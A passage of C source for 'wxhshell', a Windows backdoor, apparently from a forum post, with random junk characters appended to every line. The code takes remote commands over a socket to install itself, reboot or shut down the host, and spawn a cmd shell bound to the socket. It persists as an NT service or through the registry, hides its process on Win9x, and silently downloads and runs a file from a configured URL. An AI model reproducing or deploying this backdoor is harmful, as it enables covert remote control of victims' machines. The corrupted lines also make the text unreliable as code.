  // 帮助 5.K$ X$+7}  
  case '?': { Q!+{MsZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D 917[ <$  
    break; xZ'` _x9l  
  } ^SSOh#  
  // 安装 ZhbY, wJ,  
  case 'i': { '3_B1iAv  
    if(Install()) jQ\ MB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W Pp\sIP  
    else W$MEbf%1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dG~B3xg;5i  
    break; &CeF^   
    } uuK]<h*  
  // 卸载 yE|} r  
  case 'r': { HAUTCX  
    if(Uninstall()) HxqV[|}0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); teS0F  
    else pS@VLXZP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;!Z7-OZX  
    break; e}O-I  
    } QGz3id6  
  // 显示 wxhshell 所在路径 l0_E9qh-i  
  case 'p': { b;;Kxi:7$}  
    char svExeFile[MAX_PATH]; >5vl{{,$K  
    strcpy(svExeFile,"\n\r"); U*fj5  
      strcat(svExeFile,ExeFile); F-7b`cF9[r  
        send(wsh,svExeFile,strlen(svExeFile),0); FQ~ead36C  
    break; rB&j"p}Q  
    } bvu<IXX=2  
  // 重启 u-M$45vct  
  case 'b': { 8J?`_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .L{+O6*c  
    if(Boot(REBOOT)) 5<BV\'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DHNii_w4v  
    else { 2#A9D.- h  
    closesocket(wsh); j nA_!;b  
    ExitThread(0); ecI 2]aKi  
    } ,<j5i?  
    break; CU^3L|f2N  
    } B';> Hk  
  // 关机 YGpp:8pen  
  case 'd': { % ih7Jt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~0r.3KTl"Y  
    if(Boot(SHUTDOWN)) kt0{-\ p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S9#N%{8P  
    else { $`dNl#G,  
    closesocket(wsh); 4N=Ie}_`  
    ExitThread(0); OQ&D?2r  
    } JEF7hJz~  
    break; 3b[+m}UWQ  
    } =RE_Urt:  
  // 获取shell } 9s  
  case 's': { i\4"FO?v  
    CmdShell(wsh); ^Ro du  
    closesocket(wsh); @`8 B} C  
    ExitThread(0); ot<o&  
    break; WHLKf  
  } e^_@^(||!6  
  // 退出 u0KZrz  
  case 'x': { W3/Stt$D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5Zm_^IS  
    CloseIt(wsh); ~@?-|xLqQ  
    break; [ .uaO  
    } GE+csnA2  
  // 离开 qFChZ+3>  
  case 'q': { <$2zr4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F1*rUsRKN  
    closesocket(wsh); ]hVXFHrR  
    WSACleanup();  CF92AY  
    exit(1); (KImqB$i.  
    break; TZyQOjUu  
        } JwVC?m).  
  } ZboJszNb;  
  } D % ,yA  
!Jn w_)  
  // 提示信息 Vzm+Ew _  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5GL+j%7  
} IX?%H!i  
  } gO!h<1!  
B^Mtj5Oc  
  return; <@!kR$Rd  
} )stWr r&  
oxXW`C<  
// shell模块句柄 ;rAW3  
int CmdShell(SOCKET sock) c7!`d.{90  
{ )K3 vzX  
STARTUPINFO si;  8\ ;G+  
ZeroMemory(&si,sizeof(si)); 0)a?W,+O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k 0Yixa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6YGr"Kj &  
PROCESS_INFORMATION ProcessInfo; /O9EI'40)  
char cmdline[]="cmd"; nqJV1h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "FvlZRfXj  
  return 0; :.df(1(RL  
} +%9Y7qol  
t3JPxg]0k'  
// 自身启动模式 ^V]DY!@k3_  
int StartFromService(void) 0j MI)aY.  
{ q#-H+7 5  
typedef struct FY*0gp  
{ JjML!;  
  DWORD ExitStatus; ZM`_P!G  
  DWORD PebBaseAddress; c &(,  
  DWORD AffinityMask; Utp\}0GZY  
  DWORD BasePriority; O G}&%NgH  
  ULONG UniqueProcessId; 1V?)zp  
  ULONG InheritedFromUniqueProcessId; $Ws2g*i  
}   PROCESS_BASIC_INFORMATION;  +@7R,8  
~J:lC u  
PROCNTQSIP NtQueryInformationProcess; )!72^rl  
^IkMRlJh%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _>64XUZ<n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k]5L\]>y  
f+AIxSw  
  HANDLE             hProcess; ox#4|<qM  
  PROCESS_BASIC_INFORMATION pbi; y-k-E/V}  
LnX^*;P5t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *E_= 8OV  
  if(NULL == hInst ) return 0; f` J"A:  
O v6=|]cW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5UyK1e))  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >UH=]$0N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,1L^#?Q~  
b1!%xdy_T  
  if (!NtQueryInformationProcess) return 0; `<G+ N  
6 dMpd4"\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A???s,F_  
  if(!hProcess) return 0; z[OEg HI  
&LYZQ?|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H5)WxsZ R  
IYN`q'%|  
  CloseHandle(hProcess); b\mN^P~>A  
ly+7klQ;.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t-/^O  
if(hProcess==NULL) return 0; ppA8c6  
]d FWIvC  
HMODULE hMod; zV#k #/$  
char procName[255]; '/?&Gol-  
unsigned long cbNeeded; %+}\i'j7  
d[de5Xra  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3:S"!F  
FliN@RNo  
  CloseHandle(hProcess); V,}cDT>  
$2 0*&4y^  
if(strstr(procName,"services")) return 1; // 以服务启动 0)#I5tEre  
?##GY;#  
  return 0; // 注册表启动 Sob+l'U$  
} WJWhx4Hk  
Lm/^ 8V+  
// 主模块 1Mqz+@~11  
int StartWxhshell(LPSTR lpCmdLine) NDi@x"];  
{ {S c1!2q  
  SOCKET wsl; &Jz%L^  
BOOL val=TRUE; )erPp@  
  int port=0; @M-bE=  
  struct sockaddr_in door; z^]nP 87  
EP @=i  
  if(wscfg.ws_autoins) Install(); ;lldxS  
bbnAmZ   
port=atoi(lpCmdLine); aj:+"X-;  
:iJ= 9  
if(port<=0) port=wscfg.ws_port; zKZ6Qjd8!  
TQ FD  
  WSADATA data; LQ._?35r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; . 2WZb_ B  
u:k#1Nn!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f;*\y!|lg~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XyhdsH5%3!  
  door.sin_family = AF_INET; Q"\[ICu!,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H$ v4N8D8I  
  door.sin_port = htons(port); "dt3peH  
+] uY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?mMd6U&J  
closesocket(wsl); )pJzw-m"  
return 1; )g-*fSa  
} J{91 t |  
][9M_.  
  if(listen(wsl,2) == INVALID_SOCKET) { f -#fi7  
closesocket(wsl); WW&0FugY_  
return 1; 6w54+n  
} NLj0\Pz|B  
  Wxhshell(wsl); n '&WIf3  
  WSACleanup(); FT=w`NE,+  
_)ERi*}x8  
return 0; ,30&VW##  
7oUYRqd  
} ^0VI J)y  
- Q,lUP  
// 以NT服务方式启动 ,5nrovv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OyVp 3O  
{ Qv8Z64#  
DWORD   status = 0; YoXXelO&  
  DWORD   specificError = 0xfffffff; |*!I(wm2i  
1w35 H9\g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rZ^DiFR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C! :\H<gI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QkA79%;j  
  serviceStatus.dwWin32ExitCode     = 0; KktQA*G  
  serviceStatus.dwServiceSpecificExitCode = 0; D:%v((Ccw  
  serviceStatus.dwCheckPoint       = 0; iNha<iS+  
  serviceStatus.dwWaitHint       = 0; |n0 )s% 8`  
Pb!kl #  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )wAqaG_d  
  if (hServiceStatusHandle==0) return; o-R;EbL  
,Xao{o(  
status = GetLastError(); RTSg=    
  if (status!=NO_ERROR) '9-8_;  
{ NoV2<m$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XjWoUnz  
    serviceStatus.dwCheckPoint       = 0; ^;N +"oq!y  
    serviceStatus.dwWaitHint       = 0; !J.qH%S5   
    serviceStatus.dwWin32ExitCode     = status; " GgK,d}%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]^"*Fdn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qb6s]QZEV  
    return; fk9FR^u  
  } nKch _Jb  
UT+B*?,h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {3'z}q  
  serviceStatus.dwCheckPoint       = 0; cs,%Zk.xjw  
  serviceStatus.dwWaitHint       = 0; G!@tW`HO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K t9:V,  
} dtr8u  
Uk5jZ|  
// 处理NT服务事件,比如:启动、停止 ]k5l]JB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2vT>hC?oHz  
{ #"=_GA^.{  
switch(fdwControl) d0eMDIm3R\  
{ Av]<[ F/  
case SERVICE_CONTROL_STOP: t(}\D]mj  
  serviceStatus.dwWin32ExitCode = 0; fHdPav f,S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pS;jrq I#  
  serviceStatus.dwCheckPoint   = 0; S8^W)XgC;  
  serviceStatus.dwWaitHint     = 0; Q >] v?4  
  { ~Qeyh^wo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=89)TrY  
  } d\+smED  
  return; P'xq+Q  
case SERVICE_CONTROL_PAUSE: ]N,n7v+}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I#tn/\n  
  break; ORD@+ {  
case SERVICE_CONTROL_CONTINUE: HI*xk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G$<FQDvs  
  break; <:fjWy  
case SERVICE_CONTROL_INTERROGATE: /{#1w\  
  break; UB|f{7~&  
}; HNu/b)-Rb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :$lx]  
} % V/J6  
T1.`*,t)=  
// 标准应用程序主函数 :)_Ap{9J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yh\ } i  
{ LS}dt?78`V  
x|&A^hQ  
// 获取操作系统版本 ZaBGkDX5  
OsIsNt=GetOsVer(); l_Mi'}j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b`)^Ao:  
X`YAJG  
  // 从命令行安装 hosw :%  
  if(strpbrk(lpCmdLine,"iI")) Install(); { AdPC?R`  
apPn>\O  
  // 下载执行文件 dOh`F~ Y)e  
if(wscfg.ws_downexe) { ]~iOO %&R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BuII|j  
  WinExec(wscfg.ws_filenam,SW_HIDE); jr29+>  
} t`1E4$Bb\  
z-<U5-'  
if(!OsIsNt) { A6v<+`?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZbD_AP  
HideProc(); [x Xa3W  
StartWxhshell(lpCmdLine); }c?/-ab>  
} , g\%P5  
else %9Br  
  if(StartFromService()) /2Q@M>  
  // 以服务方式启动 T>,3V:X  
  StartServiceCtrlDispatcher(DispatchTable); 2YI#J.6]H  
else hDTiXc  
  // 普通方式启动 MdM^!sk&`  
  StartWxhshell(lpCmdLine); *<Yn  
4 qMO@E_  
return 0; X~wkqI#d%E  
}
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只看该作者 1 发表于: 2006-10-10
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